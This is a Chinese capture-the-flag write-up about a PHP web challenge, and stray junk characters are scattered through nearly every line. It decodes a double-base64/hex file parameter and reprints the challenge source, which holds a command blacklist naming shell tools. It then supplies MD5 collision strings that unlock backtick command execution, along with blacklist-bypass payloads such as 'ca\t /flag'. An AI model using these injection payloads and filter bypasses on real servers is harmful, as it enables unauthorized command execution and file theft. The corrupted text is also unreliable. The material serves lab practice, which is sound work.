|
|
% Y# U6 x2 z5 l2 F, x/ ~4 F( N
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233053765-138473612.png" ></p>: t, o( z9 `' J( b' M# L! e- D: Y
<p> </p>. q/ j' N. a$ s
<p> </p>
2 v4 @% Q( M; {* r7 E8 Y3 t) \& J<p> 题目打开如下,?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=,同时查看源代码</p>2 D P* i: `6 Y/ k) E/ i
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211233545495-732796719.png" ></p>
8 y& @' P8 i" u<p> </p>) n0 Q; ]: d) H6 B5 J6 e
<p> </p>
+ m0 t* o& a- q; |* S* D<p>这里有个MD5 is funny,说明这个题目大概率跟MD5有关</p>3 H% O. n* a4 O1 G* j D* d
<p>然后我抓包了一下,消息头里面没有什么特殊的东西,于是我尝试从url入手</p>- C' @$ L8 s- N6 L4 o
<p>首先把那个进行一次base64位解码</p>1 G, G* s# d" A4 d9 i
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234007573-1082134416.png" ></p>' w- q( T4 ]/ i; ~
<p> </p># n: X7 {& O4 F& I
<p> </p>4 q! l% ?- }0 ~" w/ y7 q- h
<p> 解码一次以后还是很像base64编码,于是又解码一次</p>- q" }$ F& Y2 O6 K1 z$ Z
<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211234057439-916556800.png" ></p>7 t+ |" N% d; s! l m, A, b
<p> </p>" W: ~2 }1 t' y( x. }
<p> </p>& \; \& J( ~8 X+ P- R5 m- U
<p> 然后用hex解码一下得到了</p>; b3 ?. u8 `; t: k% G& ~) `; s
<div class="cnblogs_Highlighter">
5 F) ]8 \+ G( c& Z& x# |. J- \<pre class="brush:sql;gutter:true;">555.png5 L0 Q& @, g3 n2 M* E
</pre>* x: l& j5 B' b
</div>
+ x* [/ E5 H& _+ C5 j2 Q/ j<p> 用同样的方法把index.php进行加密</p>& w8 t! u+ K# c6 T2 M9 Z
<div class="cnblogs_Highlighter">" F! o, h0 x9 d2 U- G7 {
<pre class="brush:sql;gutter:true;">TmprMlpUWTBOalUzT0RKbE56QTJPRGN37 ]5 u4 p$ h8 y o
</pre>
. F0 \& {" R& x: G& C! R& s</div>2 [1 G' o6 \' E) D
<p> 然后输入到地址栏</p>
0 d# Y5 @5 ~% L, a# k, X$ e X<p> 然后查看源代码,把源代码里面的那一串base64的编码解码</p>
; h& k5 ?! k1 W% a# b# D<div class="cnblogs_code"># s3 r/ l' l6 I- t! I: k( i
<pre><?<span style="color: rgba(0, 0, 0, 1)">php
) ]+ M; T; Z8 V, s</span><span style="color: rgba(0, 128, 128, 1)">error_reporting</span>(<span style="color: rgba(255, 0, 255, 1)">E_ALL</span> || ~ <span style="color: rgba(255, 0, 255, 1)">E_NOTICE</span><span style="color: rgba(0, 0, 0, 1)">);
& C. h% _% |! [) q5 ^3 [</span><span style="color: rgba(0, 128, 128, 1)">header</span>('content-type:text/html;charset=utf-8'<span style="color: rgba(0, 0, 0, 1)">);0 R; G" N# f1 W$ w
</span><span style="color: rgba(128, 0, 128, 1)">$cmd</span> = <span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">];
5 `( K; ^7 L4 b1 I! E</span><span style="color: rgba(0, 0, 255, 1)">if</span> (!<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img']) || !<span style="color: rgba(0, 0, 255, 1)">isset</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['cmd'<span style="color: rgba(0, 0, 0, 1)">])) $ D7 {7 V$ i5 Y* k0 K2 `
</span><span style="color: rgba(0, 128, 128, 1)">header</span>('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='<span style="color: rgba(0, 0, 0, 1)">);+ d9 X. Q. E& t% M7 F
</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = hex2bin(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(0, 128, 128, 1)">base64_decode</span>(<span style="color: rgba(128, 0, 128, 1)">$_GET</span>['img'<span style="color: rgba(0, 0, 0, 1)">])));
* [6 @! U& e( H; K) w) u
3 H" l8 s1 J4 `+ u- \- A3 A# Z: e</span><span style="color: rgba(128, 0, 128, 1)">$file</span> = <span style="color: rgba(0, 128, 128, 1)">preg_replace</span>("/[^a-zA-Z0-9.]+/", "", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">);. K9 F0 K5 H& Z$ Y+ K! L
</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/flag/i", <span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)) {
: n9 |0 |0 _+ c$ P4 J) a </span><span style="color: rgba(0, 0, 255, 1)">echo</span> '<img src ="./ctf3.jpeg">'<span style="color: rgba(0, 0, 0, 1)">;' \. Y" x! u4 Z2 Z- i$ |" Q( ?7 V
</span><span style="color: rgba(0, 0, 255, 1)">die</span>("xixi~ no flag"<span style="color: rgba(0, 0, 0, 1)">);6 q3 ~ t8 q; t4 z& e/ D q
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
4 j. U* i- q! P% R( D </span><span style="color: rgba(128, 0, 128, 1)">$txt</span> = <span style="color: rgba(0, 128, 128, 1)">base64_encode</span>(<span style="color: rgba(0, 128, 128, 1)">file_get_contents</span>(<span style="color: rgba(128, 0, 128, 1)">$file</span><span style="color: rgba(0, 0, 0, 1)">)); l" ~" B5 T6 j$ @9 R Z
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<img src='data:image/gif;base64," . <span style="color: rgba(128, 0, 128, 1)">$txt</span> . "'></img>"<span style="color: rgba(0, 0, 0, 1)">;
$ [+ x+ m+ l8 P: x$ R+ a </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
: S$ Z6 k9 f% b# |: i}3 ^1 }1 e4 K+ i) P
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">;! O( w' @6 ^4 ?6 o9 N& Z& H3 C& B
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;
7 M; f2 I9 g- q( p1 h) K</span><span style="color: rgba(0, 0, 255, 1)">if</span> (<span style="color: rgba(0, 128, 128, 1)">preg_match</span>("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", <span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">)) {! n8 X# [5 L9 A# S6 @
</span><span style="color: rgba(0, 0, 255, 1)">echo</span>("forbid ~"<span style="color: rgba(0, 0, 0, 1)">);
2 M$ g b4 t; m0 d. B Z$ c( d W </span><span style="color: rgba(0, 0, 255, 1)">echo</span> "<br>"<span style="color: rgba(0, 0, 0, 1)">;" Q- K# a. A, q; v( ]# Z( R
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {4 ~4 W- q8 [# R
</span><span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {7 ]3 ?3 \! {0 z
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;
. l% v$ P! ]8 ?$ a } </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
$ z1 |, p1 x) S </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);; f, [" e& p( ] |3 i) n
}% b E; v- m9 f+ l: C
}
& x) q" k" X! A9 z1 H, P* K: }8 I
$ G8 d% Z" k6 h& Z& |1 g</span>?>- T6 u! O [) l; x- L% W
<html>
" C9 ?- C$ U" e6 j$ m<style><span style="color: rgba(0, 0, 0, 1)">
/ n2 _! D" H: Z$ @. ~) d body{, s' I! j! {/ I# g
background</span>:url(./bj.png) no-<span style="color: rgba(0, 0, 0, 1)">repeat center center;* ]# R5 S% }4 }8 B- B2 H) C
background</span>-size:<span style="color: rgba(0, 0, 0, 1)">cover;
7 {* B$ l# u) z9 G- M background</span>-attachment:<span style="color: rgba(0, 0, 0, 1)">fixed;/ Q- J9 s/ c3 N- Z) J" N
background</span>-color:<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">CCCCCC;</span>
% u0 ]4 h/ l- W1 F* X/ L/ i/ H* L5 ^<span style="color: rgba(0, 0, 0, 1)">}
# s0 ^: N! X. K</span></style>& C6 X; y% f6 L# h' r, w* V, a
<body>6 D& W9 J! D, p% [
</body>
. R! u6 C! Q3 R( ^1 H</html></pre>8 I4 ]3 `1 Q1 x6 z
</div>$ }& r# S1 [/ F1 Q
<p>结合前面的推断,关键代码就在</p>
3 `# D1 i7 X# v1 F3 Z' _<div class="cnblogs_code">4 r5 A1 G# @& Q& c
<pre> <span style="color: rgba(0, 0, 255, 1)">if</span> ((<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a'] !== (<span style="color: rgba(0, 0, 255, 1)">string</span>)<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'] && <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['a']) === <span style="color: rgba(0, 128, 128, 1)">md5</span>(<span style="color: rgba(128, 0, 128, 1)">$_POST</span>['b'<span style="color: rgba(0, 0, 0, 1)">])) {0 n9 e. O: w' E) F( |
</span><span style="color: rgba(0, 0, 255, 1)">echo</span> `<span style="color: rgba(128, 0, 128, 1)">$cmd</span><span style="color: rgba(0, 0, 0, 1)">`;/ ]# D# ~0 [1 ?5 k( Y5 g: b* E5 p
} </span><span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)"> {
0 d$ Y% K4 q) m u, e2 T( @ </span><span style="color: rgba(0, 0, 255, 1)">echo</span> ("md5 is funny ~"<span style="color: rgba(0, 0, 0, 1)">);
2 W3 ^% g1 {% H' O }</span></pre>
; g1 S7 Q7 ]: k1 g) `; Z</div>
& b' p0 e! b1 w5 V<p>这种MD5是md5强碰撞</p>
) q. o) a7 I3 m+ ]3 H! F; Z<div class="cnblogs_Highlighter"># G {! t, k4 |/ E. n8 h
<pre class="brush:sql;gutter:true;">a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2& ?% d" M) X/ z! B% L" p8 _+ p! Q
</pre>' J1 g l7 |" e% y' h) u/ I K
</div>( f# c/ H; H: _6 c
<div class="cnblogs_Highlighter">7 N7 C+ t6 g5 M2 k# p3 r
<pre class="brush:sql;gutter:true;">b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a24 w) {: g' y: Z% m! z: O
</pre>, L$ d" X* W- M# F2 m# q6 A
</div>
& g" M: i, w6 w* O<p> 只需要这样就可以把cmd里面的当成命令来处理。</p>
# J& S* n ~( z K<p>于是采用payload:</p>
' s4 {7 R$ ?4 u<p><img src="https://img2022.cnblogs.com/blog/2632699/202202/2632699-20220211235254110-1699040750.png" ></p>
8 T2 C; F1 \& A( @1 h! e<p> </p>
" ^6 f/ \% g) z. c9 h<p> 因为'\'并没有被屏蔽所以可以这么绕过</p>
# T# Z) q8 T. e; c7 J<p>ls和l\s在命令执行的时候结果是一样的。</p>
. C0 N, x$ N( ^, G! q9 w; k7 h/ Q<p>然后发现根目录里面有/flag</p>0 M g: g7 L7 H+ y& b, T: {( i
<p>于是payload:</p>, ~6 h' e2 D- B/ t" N5 {4 J
<div class="cnblogs_Highlighter">
! N( F1 f. b* F<pre class="brush:sql;gutter:true;">?cmd=ca\t%20/flag
' z) V* q- [( j: h# j8 a0 k</pre>, r- @3 }8 G% A+ m7 |8 e
</div>- I# V1 e" a) h; ~+ w6 x( ? h
<p> 对于这个题目,因为他没有屏蔽sort和dir</p>8 Y% F1 z2 n) O h% N8 a# L
<p>所以查看也可以用dir来代替ls,cat可以用sort来代替。</p>
1 y7 H' S/ B1 U! W t+ h3 k<p> </p>* b! n* W' F# w, j6 H; h" \
|
|